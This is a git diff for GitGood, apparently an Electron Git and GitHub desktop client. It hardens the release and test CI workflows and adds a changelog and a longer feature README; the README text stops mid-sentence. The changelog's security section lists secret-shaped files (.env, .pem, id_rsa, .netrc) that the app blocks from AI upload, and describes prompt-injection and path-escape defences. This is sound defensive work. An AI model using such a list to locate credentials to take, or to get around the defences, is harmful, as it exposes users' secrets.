diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..5a32bd8 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,10 @@ +version: 2 +updates: + - package-ecosystem: npm + directory: / + schedule: + interval: weekly + - package-ecosystem: github-actions + directory: / + schedule: + interval: weekly diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 942508c..0ef0d11 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -5,11 +5,13 @@ on: tags: - "v*" +# Nothing below can write by default. Only the publish job gets contents: write, +# and it never runs project code (no checkout, no npm install). permissions: - contents: write + contents: read jobs: - release: + build: strategy: fail-fast: false matrix: @@ -21,12 +23,16 @@ jobs: - os: ubuntu-latest dist: dist:linux runs-on: ${{ matrix.os }} + permissions: + contents: read steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - - uses: actions/setup-node@v4 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: 22 + node-version: 24 cache: npm - name: Check the tag matches package.json @@ -44,7 +50,63 @@ jobs: - name: Typecheck run: npm run typecheck - - name: Build and publish - run: npm run ${{ matrix.dist }} -- --publish always + # Signing and notarization are driven by these secrets and only happen when + # they are set (see docs/RELEASING.md); unset secrets expand to empty + # strings, which electron-builder treats as "not provided". + - name: Build + run: npm run ${{ matrix.dist }} -- --publish never + env: + CSC_LINK: ${{ secrets.CSC_LINK }} + CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }} + APPLE_ID: ${{ secrets.APPLE_ID }} + APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_APP_SPECIFIC_PASSWORD }} + APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }} + + - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: release-${{ matrix.os }} + path: | + release/*/*.exe + release/*/*.dmg + release/*/*.zip + release/*/*.AppImage + release/*/*.deb + release/*/*.blockmap + release/*/latest*.yml + if-no-files-found: error + retention-days: 7 + + publish: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + path: dist + merge-multiple: true + + # The release must stay a DRAFT (review, add notes, publish by hand), and + # electron-updater's latest*.yml files are uploaded with the installers. + - name: Create or update the draft release env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GH_REPO: ${{ github.repository }} + run: | + if gh release view "$GITHUB_REF_NAME" >/dev/null 2>&1; then + is_draft=$(gh release view "$GITHUB_REF_NAME" --json isDraft -q .isDraft) + if [ "$is_draft" != "true" ]; then + echo "::error::Release $GITHUB_REF_NAME is already published; refusing to overwrite its assets." + exit 1 + fi + else + gh release create "$GITHUB_REF_NAME" --draft --verify-tag --title "$GITHUB_REF_NAME" --notes "" + fi + # download-artifact preserves the version directory beneath dist/. + mapfile -d '' -t assets < <(find dist -type f -print0) + if [ "${#assets[@]}" -eq 0 ]; then + echo "::error::No release assets were downloaded." + exit 1 + fi + gh release upload "$GITHUB_REF_NAME" "${assets[@]}" --clobber diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 8848bec..43508aa 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -2,22 +2,28 @@ name: Test on: push: - branches: [main] + branches: [main, "ci/**"] pull_request: + workflow_dispatch: + +permissions: + contents: read jobs: test: strategy: fail-fast: false matrix: - os: [ubuntu-latest, windows-latest] + os: [ubuntu-latest, windows-latest, macos-latest] runs-on: ${{ matrix.os }} steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false - - uses: actions/setup-node@v4 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: 22 + node-version: 24 cache: npm - name: Install dependencies @@ -25,15 +31,16 @@ jobs: # Debian/Ubuntu's xvfb package ships xvfb-run; scripts/smoke.mjs picks it # up automatically (and only uses it on Linux). Windows runners already - # have a desktop session, so nothing extra is needed there. + # have a desktop session and macOS renders offscreen, so nothing extra is + # needed there. - name: Install xvfb if: runner.os == 'Linux' run: | sudo apt-get update sudo apt-get install -y xvfb - - name: Typecheck - run: npm run typecheck + - name: Lint and typecheck + run: npm run lint # Headless server bundle: fails if server-reachable code imports electron. - name: Build server @@ -42,23 +49,15 @@ jobs: - name: Unit tests run: npm run test:unit - # Linux only for now. The fixture and smoke suites had never run on Windows - # (the unit step failed first and masked them); when they finally did, 16 - # fixture tests failed for unrelated reasons -- cherry-pick conflicts, - # worktrees, signing and the gh-stub. Typecheck and the unit suite still - # run on Windows, which is what covers the Windows-specific code paths. - # Tracked in #3. - name: Fixture tests - if: runner.os == 'Linux' run: npm run test:fixture - name: Smoke tests - if: runner.os == 'Linux' run: npm run test:smoke - name: Upload smoke artifacts if: always() - uses: actions/upload-artifact@v4 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: smoke-${{ matrix.os }} path: test/smoke/out/ diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..4fd4590 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,127 @@ +# Changelog + +All notable changes to GitGood. Versions follow [semver](https://semver.org); release notes for each version are also on the [Releases page](https://github.com/erwin-wee/gitgood/releases). + +## Unreleased + +A security, privacy and robustness pass over the whole app, plus the features that came out of it. + +### Security + +- **Repository files can no longer leak through symlinks.** Every repo-controlled file that feeds the AI, templates or configuration (review guidelines, PR and issue templates, `.gitgood/config.json`, untracked files in diffs, conflict reads) is read through one helper that refuses symlinks and checks the real path stays inside the repository. A symlinked file diffs as its link text, like git. AI-written files (conflict resolutions, applied suggestions) go through a matching safe write. +- **Secrets are protected at rest and in logs.** `secrets.json` and every other store file are written `0600` in a `0700` directory (POSIX); the log file is `0600` and scrubs tokens and credentials from every line, including git argv; the server token is never logged (printed once on a TTY at first start, otherwise only its file path). A corrupt store file is renamed to `.corrupt-` instead of being silently reset. +- **Server mode.** `repo.readFile`/`repo.writeFile` and every path argument reject absolute and `../` paths (including through symlinked parents); `/gitgood-bridge.js` is refused to cross-origin requests and sent with `Cross-Origin-Resource-Policy: same-origin`. +- **AI privacy.** Secret-shaped files (`.env*`, `*.pem`, `*.key`, `id_rsa*`, `.netrc`, credential-bearing `.npmrc`, …) are never uploaded, known token shapes are masked in the text of every read-only feature, and error explanation scrubs the failing command. AI can be switched off per repository, on your machine or for everyone via `.gitgood/config.json`. +- **Settings sync** uses secret gists only: it refuses to upload to (or adopt) a public gist, re-checks visibility before every upload, and keeps `agentCustomCommand` machine-local. A settings file that changes the OpenAI-compatible base URL deletes the stored API key so it can't be redirected. +- **Prompt-injection and confused-deputy hardening.** The repository check-command trust prompt binds to the exact command shown; the `gitgood://review/rerun` link needs a per-run one-time token, otherwise it asks for confirmation before anything is sent to an AI provider; custom agent commands must quote every `{file}`; the natural-language palette allows only an explicit option list per inspect command (and disables external diff and textconv drivers); branch, tag and remote names starting with `-` are rejected. +- **Electron.** IPC is accepted only from the app's own main frame, and navigation is limited to the exact entry document. +- **Release pipeline.** GitHub Actions are pinned by commit SHA, workflows run read-only with credentials not persisted, builds use `--publish never` and a separate publish job holds `contents: write`; the Linux installer fails closed when it cannot verify the download's SHA-512 (`--insecure-skip-verify` overrides); `release:prepare` refuses to continue when the CI check can't be confirmed (`--skip-ci-check` overrides). Code signing and notarization are wired to repository secrets and stay inactive until configured. Dependabot watches npm and GitHub Actions. See [SECURITY.md](SECURITY.md). + +### Added + +- **Commit graph** in History with coloured branch lanes, merges and octopus merges, computed incrementally. +- **Multiple GitHub accounts**, with a per-repository account whose token is used for that repository's `gh` calls and network git commands. +- **Multiple windows** (File → New Window, Open in New Window), each with its own repository and live updates. +- **Undo history** (reflog browser with restore, create-branch and checkout) and **Undo Last Git Operation**. +- **Bisect** from the History context menu, with a progress banner. +- **Stacked branches**: stack markers, `--update-refs` on rebase and **Push stack**. +- **Rebindable keyboard shortcuts**, included in exported and synced settings. +- **MCP server** for coding agents (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`), registered by the `gitgood-review` plugin. +- **Clone options**: depth, single branch, blobless, sparse directories and a submodules toggle. +- **Pinned repositories and custom groups** in the repository list. +- **PR auto-merge** (`gh pr merge --auto`) and a **Files changed** view in Compare. +- **Commit options**: sign-off per repository, skip hooks for one commit, and `commit.template` prefill. +- **External diff and merge tools** (`git difftool`/`git mergetool`). +- **AI**: an OpenAI-compatible provider (OpenAI, OpenRouter, Ollama, LM Studio, …), per-feature model overrides, a monthly token-usage view, and prompt caching for Anthropic requests. +- **`gitgood `** opens a folder as a repository, and dropping a folder on the window adds it. +- **Managed background server on macOS and Windows** (LaunchAgent and a per-user login item; not yet verified on real machines), a "Reload to update" banner when the server was upgraded, and a "Reconnecting…" banner with exponential backoff for browser tabs. +- **Accessibility**: an error boundary with Reload and Copy details, forced-colors / high-contrast styles, and a resizable History file pane. +- Minimum tool versions (Git 2.30, gh 2.40) are checked, with a dismissible banner when one is older. +- Installer: `install-linux.sh --uninstall`. Packaging: macOS universal, Windows x64 + ARM64, Linux AppImage and `.deb`. +- Lint: ESLint with the React hooks rules, run in CI. + +### Changed + +- `ai.cancel` now cancels one feature, and only the calling window or web client's job, instead of every AI service. +- The renderer is code-split (heavy dialogs and syntax-highlighting grammars load on demand); the main chunk is about 30% smaller. +- Startup no longer makes git wait for the `gh`, `claude` and `gpg` probes; each tool appears as soon as its own probe finishes. +- Repository indicators use a light `git status --porcelain=v2 --branch` parse with bounded concurrency. +- The web folder picker is a regular dialog (keyboard, ARIA and theme aware). +- `.deb` installs are treated as unable to self-update, matching how `electron-updater` behaves on Debian. +- CI runs on Node 24; `engines.node` is `^20.19.0 || >=22.12.0`. Electron 44.5.1 and `@anthropic-ai/sdk` 0.131. +- Unit, fixture and Electron smoke suites are enabled on Linux, Windows and macOS; the Test workflow also supports manual dispatch and `ci/**` validation branches. +- Neutral wording in shared AI backend messages (they used to read like conflict-resolution copy for every feature). + +### Fixed + +- Undo groups exactly one rebase, including GitGood's pull-with-rebase command, and restores the pre-operation commit. +- Release publishing uploads files inside downloaded version directories, including filenames containing spaces, and refuses an empty asset set. +- AI secret-file exclusion decodes Git-quoted paths and checks both sides of a rename. +- Concurrent AI requests retain per-client cancellation and remain visible to the update gate until every job settles. +- Linked worktrees inherit their main repository's AI opt-out and selected GitHub account. +- Agent templates are validated against the selected shell; escaped quotes, unbalanced quotes and command-substitution placeholders are rejected before execution. +- Push Stack resolves a publishing remote rather than pushing to `.`, and preserves existing local parent-tracking relationships. +- Update installation checks every open repository, not only the last-opened window. +- Resetting a keyboard shortcut asks before unbinding a conflicting action. +- Compare preserves rename metadata and displays only the actual changed lines. + +- The diff line-number gutter now meets contrast guidelines. +- Several AI services shared one cancel controller, so cancelling one (or, in server mode, another client's job) could abort an unrelated request; each now cancels only its own. +- Git commands stayed blocked for several seconds after launch on machines where `claude --version` or `gh --version` is slow. +- Windows batch-file arguments survive both `cmd.exe` parsing passes; Git worktree and MCP repository paths use native separators. +- Smoke fixtures use canonical paths (including Windows 8.3 aliases) and wait for asynchronous dialog content rather than fixed loading delays. +- Settings export no longer carries machine-local custom agent commands; repository pins, groups and AI opt-outs also stay out of it. + +## 0.3.2 — 2026-09-25 + +- Opening an AI review comment, following a link in an AI explanation, expanding hunk context, blame cards and History search matches no longer make the diff flash or jump, including across files and after a save reloads it. +- The History list on phones no longer jumps when more commits load. + +## 0.3.1 — 2026-09-24 + +- The web app loads far faster from the server (about 2.8 s instead of 12.7 s on a slow mobile connection) via compression, caching and a service worker; the installed phone app shows a "Can't reach your GitGood server" page with Retry. +- Large diffs and merge conflicts are cheaper to deliver and render; the app appears before git and gh are located; saves made elsewhere show up almost instantly; no spinner flash for quick diffs. + +## 0.3.0 — 2026-09-24 + +- **File → Run GitGood server in the background…** (Linux) installs a service running the server bundled with the app, copies settings and repositories into it the first time, and keeps it on the desktop's version. +- A desktop connected to a server checks for and installs its own updates. +- The version-mismatch warning offers Restart server, Copy command, Reload or Check for updates. + +## 0.2.0 — 2026-09-24 + +- **Server mode:** run GitGood headless and use it from a browser on your Tailscale tailnet, locked to your Tailscale login. +- **Desktop as a client** of a server; **phone and tablet layout** for the web UI (installable to the home screen). +- In-app help, a condensed toolbar, two-line commit rows, searchable shortcuts and clearer discard wording. +- Push progress shows pre-push hook output; watched folders are scanned correctly at launch; the pull request list stays within GitHub's API limits. + +## 0.1.5 — 2026-09-22 + +- Fixed History and pull request state not refreshing after ref changes while another tab was showing. + +## 0.1.4 — 2026-09-21 + +- Performance: repository watching and word-level diffs kept off hot paths. + +## 0.1.3 — 2026-09-19 + +- Fixes for `release:tag` opening an unreachable editor, the Linux installer's `--version` handling, `cmd.exe` quoting and the gh stub on Windows. +- UI/UX audit fixes: keyboard access, dialog focus, labels, contrast and safety guards. +- Snappier lists, diffs and repository opens. + +## 0.1.2 — 2026-09-18 + +- The setup screen no longer flashes on every launch. +- Added the release script (`npm run release:prepare` / `release:tag`); real-git test suites get enough time on Windows. + +## 0.1.1 — 2026-09-18 + +- **Watched folders** that auto-discover repositories. +- **Fix with agent**: hand AI review findings to a terminal coding agent. +- Linux install script that detects the distro; documentation split into `docs/`. +- Fixed first-sync notification flood, the commit button label and blame gutter contrast; release assets are no longer silently skipped. + +## 0.1.0 — 2026-09-18 + +- First release: a GitHub Desktop–style client driving `git` and `gh`, with AI conflict resolution, pull request review and the other AI features, release CI and automatic updates through `electron-updater`. +- Fixed process cancellation and Windows CLI spawning, and an unconfirmed-git-command path in the AI palette. diff --git a/README.md b/README.md index 08c1b83..6dd157d 100644 --- a/README.md +++ b/README.md @@ -8,32 +8,66 @@ It also adds **one-click AI merge conflict resolution** powered by Claude: pick Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: -- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL, create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), grouped repository list with ahead/behind indicators. +### Repositories + +- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL (optionally shallow, single-branch, blobless or sparse, with or without submodules), create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), repository list with pinned repos, custom groups (this computer only), owner groups and ahead/behind indicators. The Add dialog also takes a folder dropped onto the window (desktop app), and `gitgood ` — also while GitGood is already running — opens that folder as a repository, or opens the Add dialog with an offer to create one when it is not a Git repository. - **Watched folders** (Options → Git): register the folders you keep your clones in and every Git repository inside them is added for you, instead of adding each one by hand. Each folder has its own scan depth (default 3, so `~/Projects//` is found), and scans skip `node_modules`, `vendor`, `dist`, dot-directories and symlinks, never descend into a repository, and ignore bare repositories. Folders are scanned when GitGood starts, when you change them, and on **Rescan now** (File → Rescan Watched Folders) — there is no continuous watching, so a repository cloned from a terminal appears after the next scan. Discovered repositories that vanish from disk drop off the list; removing a repository that lives in a watched folder remembers it so scans do not add it back, with the remembered paths listed and clearable. Watched folders stay on the machine and are never part of a settings export. - **Worktrees** (Repository menu or `Ctrl+Shift+W`): list every worktree of the current repository with badges for main/locked/prunable and uncommitted changes; add one for an existing branch, a new branch, or a detached commit; open, show in the file manager, open in editor/terminal, lock/unlock, remove (with a second confirmation for dirty worktrees) and prune stale entries. Worktrees appear nested under their main repository in the repository list, each with its own ahead/behind indicator; checking out a branch already active in another worktree offers to open it instead. - **Submodules** (Repository menu): a dialog lists every submodule (including nested ones) with its state — up to date, not initialized, modified, differs from recorded, conflicted or missing — plus recorded/checked-out commits and resolved URL; initialize and update all, update or open an individual submodule as its own nested repository, sync URLs, and show in the file manager. A banner after cloning or opening a repository offers to initialize any uninitialized submodules, and the diff pane's submodule summary gains **Update to recorded commit** and **Open submodule**. - **Git LFS**: pointer files are labelled with a chip in the Changes and History file lists, and the diff pane shows the object size and both object identifiers (with an image diff when both versions are downloaded locally) instead of a binary placeholder, offering **Download** when the object is missing. A banner explains when a repository uses LFS but the extension isn't installed. The **Git LFS** dialog (Repository menu) shows install/hook status, tracked patterns, lets you track/untrack patterns, fetch all or pull objects with progress, and prune unreferenced local objects after a dry-run confirmation. -- **Changes**: working-tree file list with include/exclude checkboxes, **partial commits by selecting individual lines or hunks**, discard files or selected lines (moved to the Recycle Bin), ignore file/extension, stash selected files or all changes, commit form with summary/description, co-authors, amend, 72-character warning, **AI-generated commit messages**, **AI review of the pending commit** before it exists, and **AI commit splitting** to turn one mixed working tree into an ordered, editable set of coherent commits. +- **Multiple windows** (File → New Window, `Ctrl+Alt+N`, or **Open in New Window** in the repository list's context menu): each window has its own open repository, selection, dialogs and progress, with live updates only for the repository it shows; app-wide changes (repository list, settings, tools, inbox, updates) reach every window. Closing a window stops watching its repository. Only the first window remembers its size and position (later ones cascade); menu shortcuts, `gitgood://` links and `gitgood ` go to the focused window. Standalone desktop app only — not available when the desktop is pointed at a GitGood server. +- **Repository health** (Repository menu or `Ctrl+Shift+K`): four independently loading cards. **Large files** lists the 25 largest blobs in history (path, size, first commit, HEAD presence, whether LFS would apply) with copy-path, add-to-.gitignore and track-with-LFS actions. **Stale branches** flags merged, inactive (configurable) and upstream-gone local branches for bulk deletion — current/default/protected branches are never selectable — with per-branch failure reporting and an Undo toast. **Unpushed work** lists, across every repository on disk, branches ahead of their upstream, unpublished branches, stashes and uncommitted changes, with one click to jump to a repository and branch; the same data drives a Welcome-screen card and an opt-in warning dot on repository rows. **Housekeeping** shows `.git` size, loose/pack/garbage object counts and last gc time, with two-step-confirmed gc, remote-tracking prune and reflog expiry (disabled mid-operation). + +### Changes & commits + +- **Changes**: working-tree file list with include/exclude checkboxes, **partial commits by selecting individual lines or hunks**, discard files or selected lines (moved to the Recycle Bin), ignore file/extension, stash selected files or all changes, commit form with summary/description, co-authors, amend, 72-character warning, **AI-generated commit messages**, **AI review of the pending commit** before it exists, and **AI commit splitting** to turn one mixed working tree into an ordered, editable set of coherent commits. Under the commit form: **Sign off** (adds `Signed-off-by`, remembered per repository), **Skip hooks** (`--no-verify` for this one commit only) and the repository's `commit.template` pre-filled into an empty form. - **Stashes**: a dedicated view (Changes tab, Repository menu, or Ctrl+Shift+S) lists every stash — including ones created from the terminal — with file counts and an untracked-files indicator; inspect a stash's files (including untracked ones) and diffs, apply, pop, drop with confirmation, create a branch from a stash, or stash just the selected files. Stash actions are addressed by commit SHA, so dropping one entry always targets the right one even after others are dropped. +- **Undo history** (Repository → **Undo History…**): lists every place HEAD has been (from the reflog) with its action, message, age and SHA, so a bad commit, amend, merge, rebase or reset can be taken back. **Restore branch to this point** uses `git reset --keep` after a confirmation that names what moves (uncommitted changes stay; if they overlap, GitGood offers to stash them first), plus **Create branch here** and **Check out** (detached). **Undo Last Git Operation** does the same for the newest operation in one step — a whole rebase counts as one — or offers to switch back to the previous branch after a checkout. +- **Conflicts**: banner and dialog listing conflicted files (sorted with any low-confidence resolution first, and a per-file confidence/check summary), per-block **Accept ours / theirs / both / base**, whole-file ours/theirs, open in editor, mark resolved, continue/abort merge, rebase (with skip), cherry-pick and revert — plus **Resolve with AI** per file or for all files at once, confidence-tinted results with an explain-why popover per block, an optional post-resolution check, and **Resolve remaining like ``** once you've resolved one by hand. +- **Commit signing** (Options → Git): configure GPG or SSH commit/tag signing at repository or global scope, with key detection (GPG keyring or `~/.ssh`), a **Test signing** action, and a commit-form indicator when the effective config signs. A failed signing attempt shows a dialog with **Retry**, **Commit unsigned this time** and **Open signing settings** — including while a squash or reword is paused mid-rebase; GitGood never reads or stores a passphrase. History can optionally verify and show good/bad/unknown-key/expired/revoked signature badges per commit (opt-in, since verification slows large histories). +- **Diffs that are easy to read**: unified or side-by-side, syntax highlighting for ~50 languages, word-level change highlighting inside modified lines, expandable context, hide whitespace, line wrapping, adjustable font size, image diffs (2-up, swipe, onion skin, difference), binary and submodule summaries. + +### History + - **History**: searchable commit list (message, author, SHA) with a **content/regex search syntax** (`content:`, `regex:`, `path:`, `author:`, `after:`, `before:`, `all:`, freely combined with plain text and a filter popover that stays in sync with it) to find when a piece of code was added, changed or removed — matching commits' file list narrows to the files that matched and the diff pane highlights the first matching line; searches are cancellable, debounced, and report invalid regexes inline. Commit details with per-file stats, revert, cherry-pick to another branch, create branch/tag from commit, checkout commit, **squash**, **reorder by drag and drop**, edit message (reword), drop commit, undo last commit, amend. **File history** scopes the commit list to one file and follows renames; from a commit you can view the file as it was, blame it, or restore that version to the working tree (with a stash-first offer if it has uncommitted changes). Select text in a diff and choose **Search history for selection** (`Ctrl+Alt+F`) to jump straight to its `content:` search. +- **Commit graph**: History draws coloured branch lanes beside the commit list — branch-offs, merges (octopus too) and lanes that keep running across pages — computed incrementally as pages load. Toggle it in the History filter popover, Options → General, or View → Toggle History Graph. It is shown only for the plain branch listing (hidden while searching, filtering or in file history, and on phone layouts) and lists commits in `--date-order`, which makes git walk the whole history first; turn it off for very large repositories if loading feels slow. - **Blame**: toggle a per-line blame gutter (`Alt+B`, the diff pane's person icon, or a file's context menu) for any text file in Changes or History — coloured by commit age, with a card per block for the commit summary, author, **Open commit**, **Copy SHA** and **Blame at parent** (re-blames before that commit, following renames). Hidden for binary, image, submodule and too-large files. -- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. -- **Commit signing** (Options → Git): configure GPG or SSH commit/tag signing at repository or global scope, with key detection (GPG keyring or `~/.ssh`), a **Test signing** action, and a commit-form indicator when the effective config signs. A failed signing attempt shows a dialog with **Retry**, **Commit unsigned this time** and **Open signing settings** — including while a squash or reword is paused mid-rebase; GitGood never reads or stores a passphrase. History can optionally verify and show good/bad/unknown-key/expired/revoked signature badges per commit (opt-in, since verification slows large histories). -- **Repository health** (Repository menu or `Ctrl+Shift+K`): four independently loading cards. **Large files** lists the 25 largest blobs in history (path, size, first commit, HEAD presence, whether LFS would apply) with copy-path, add-to-.gitignore and track-with-LFS actions. **Stale branches** flags merged, inactive (configurable) and upstream-gone local branches for bulk deletion — current/default/protected branches are never selectable — with per-branch failure reporting and an Undo toast. **Unpushed work** lists, across every repository on disk, branches ahead of their upstream, unpublished branches, stashes and uncommitted changes, with one click to jump to a repository and branch; the same data drives a Welcome-screen card and an opt-in warning dot on repository rows. **Housekeeping** shows `.git` size, loose/pack/garbage object counts and last gc time, with two-step-confirmed gc, remote-tracking prune and reflog expiry (disabled mid-operation). -- **Pull requests** (via `gh`): list open PRs with check status, check out a PR (including forks), create PRs (with template pre-fill, draft, or on GitHub.com — or **drafted with AI** from the branch's commits and diff), view checks, approve/comment/request changes, mark ready, merge (merge/squash/rebase), close/reopen, and **review with AI**: findings anchored to diff lines, shown as gutter markers and a findings panel, optionally posted to GitHub as a review with inline comments. The same review runs locally on the current branch against its base, without GitHub. The list also carries an **AI triage** line per pull request (state chip, one-sentence summary and a suggested next action). -- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. -- **AI release notes** (Repository menu, or a tag's context menu in History): pick a commit range and generate a categorized, reference-checked changelog — every bullet cites a pull request or commit in the range, with an unreferenced-items review list — then copy it, insert it into `CHANGELOG.md`, or publish a GitHub release (draft by default). Works as a plain commit-list export even with AI turned off. -- **Notifications inbox** (the toolbar bell, View menu, or `Ctrl+Shift+J`): polls your GitHub notifications — review requests, failing checks, mentions, assignments, comments and state changes — grouped by repository with a reason chip, honouring the server's own poll interval and conditional requests so quota is never wasted, and pausing while the window has been unfocused for 30 minutes. Click a pull request notification from a repository already in GitGood to open it in place (anything else opens on github.com); mark items read, mark all read (confirmed once), unsubscribe, filter to review requests/failures/mentions or only your own repositories, and refresh. Shows a taskbar/dock/launcher badge with the unread count, and desktop alerts for enabled categories while the window is unfocused. Explains itself and offers a one-click fix when the token is missing notifications access, you're signed out, rate-limited, or offline (showing the last cached list). +- **Bisect** (History commit context menu): mark a commit **good** (bad defaults to HEAD) or **bad** (you pick the last known good one) to start `git bisect`; a banner shows "N revisions left (about M steps)" with **Good / Bad / Skip / Reset**, History keeps showing the branch you started from, and when git finds the first bad commit the banner shows it with **Open commit** and **Reset** (which returns you to your branch). + +### Branches + +- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. **Stacked branches** (a chain of branches each built on the previous one) are detected from the current branch's history: the branch list marks the stack, rebasing offers **Update dependent branches** (`--update-refs`, Git 2.38+) so the whole stack moves with it, **Push stack** (the current branch's context menu) force-pushes every branch of the stack with lease after listing them, and **Create pull request** pre-fills the parent branch as the base. **Compare** shows the commits and, under **Files changed**, the files and diffs of the current branch since it diverged from the one you pick. + +### Pull requests & issues + +- **Pull requests** (via `gh`): list open PRs with check status, check out a PR (including forks), create PRs (with template pre-fill, draft, or on GitHub.com — or **drafted with AI** from the branch's commits and diff), view checks, approve/comment/request changes, mark ready, merge (merge/squash/rebase), close/reopen, and **review with AI**: findings anchored to diff lines, shown as gutter markers and a findings panel, optionally posted to GitHub as a review with inline comments. The same review runs locally on the current branch against its base, without GitHub. The list also carries an **AI triage** line per pull request (state chip, one-sentence summary and a suggested next action). From the details dialog **Enable auto-merge** (and **Disable auto-merge**) runs `gh pr merge --auto` with the chosen method and optional branch deletion, and a badge shows when it is on; on repositories with a merge queue `--auto` queues the pull request. - **Issues** (Repository menu, `Ctrl+Shift+L`, or the commit form's `#` button): browse, search and filter (state, assigned/created/mentioned, labels, milestone — remembered per repository) the current repository's issues; view an issue's labels, milestone, assignees, body and latest comments (rendered as plain text with clickable links, never Markdown or HTML); **Reference in commit** appends `Fixes #N`/`Refs #N`/`Closes #N` to the commit description, **Create branch for issue** pre-fills the new-branch dialog with a slug like `123-fix-login-timeout`; close (with a one-time confirmation) or reopen, comment, and create issues from the repository's `.github/ISSUE_TEMPLATE` templates. Forks offer a toggle to browse the parent repository's issues instead. Explains itself when issues are disabled, you're signed out, or GitHub rate-limits the request. -- **Diffs that are easy to read**: unified or side-by-side, syntax highlighting for ~50 languages, word-level change highlighting inside modified lines, expandable context, hide whitespace, line wrapping, adjustable font size, image diffs (2-up, swipe, onion skin, difference), binary and submodule summaries. +- **Notifications inbox** (the toolbar bell, View menu, or `Ctrl+Shift+J`): polls your GitHub notifications — review requests, failing checks, mentions, assignments, comments and state changes — grouped by repository with a reason chip, honouring the server's own poll interval and conditional requests so quota is never wasted, and pausing while the window has been unfocused for 30 minutes. Click a pull request notification from a repository already in GitGood to open it in place (anything else opens on github.com); mark items read, mark all read (confirmed once), unsubscribe, filter to review requests/failures/mentions or only your own repositories, and refresh. Shows a taskbar/dock/launcher badge with the unread count, and desktop alerts for enabled categories while the window is unfocused. Explains itself and offers a one-click fix when the token is missing notifications access, you're signed out, rate-limited, or offline (showing the last cached list). + +### AI + +- **AI providers, models and usage** (Options → AI): Anthropic API, the Claude Code CLI, or any **OpenAI-compatible server** (OpenAI, OpenRouter, Ollama, LM Studio, vLLM…) with its own base URL, model and optional encrypted key; an optional model per feature; a **usage** card with this and last month's requests, tokens, cache reads and cost where the provider reports it; and Anthropic prompt caching to keep repeat requests cheap. Privacy controls: secret-shaped files (`.env`, `*.pem`, keys…) are never uploaded, known token shapes are masked in read-only features, and **Disable AI for this repository** (repository list context menu, or `{ "ai": false }` in `.gitgood/config.json`) switches AI off for a repository. - **Explain with AI**: plain-language explanation of a commit (History header/context menu), a file's diff (Changes/History diff pane), or a selected range of lines (right-click a diff selection) — what changed, the inferred intent, its impact, and things to double-check, with clickable references that scroll the diff to the cited line, up to five follow-up questions, and **Copy as Markdown**. Read-only: nothing is written to the repository or GitHub. - **AI error explanation**: the error dialog's collapsible **Explain with AI** row turns a failed git/gh command into a plain-language cause and up to three fixes, each either a one-click action GitGood already exposes (with its usual confirmation) or a copy-only command with **Run in terminal**; tokens and credentials are scrubbed before anything is sent. - **AI command palette** (`Ctrl+K`, or Repository → **Ask GitGood…**): fuzzy-matches GitGood's own menu actions first, or turns a plain-language request into a previewed, numbered plan of exact `git` commands that only runs after confirmation, behind a strict allowlist policy that decides executability and risk independently of the model. -- **Conflicts**: banner and dialog listing conflicted files (sorted with any low-confidence resolution first, and a per-file confidence/check summary), per-block **Accept ours / theirs / both / base**, whole-file ours/theirs, open in editor, mark resolved, continue/abort merge, rebase (with skip), cherry-pick and revert — plus **Resolve with AI** per file or for all files at once, confidence-tinted results with an explain-why popover per block, an optional post-resolution check, and **Resolve remaining like ``** once you've resolved one by hand. -- **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. -- **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in 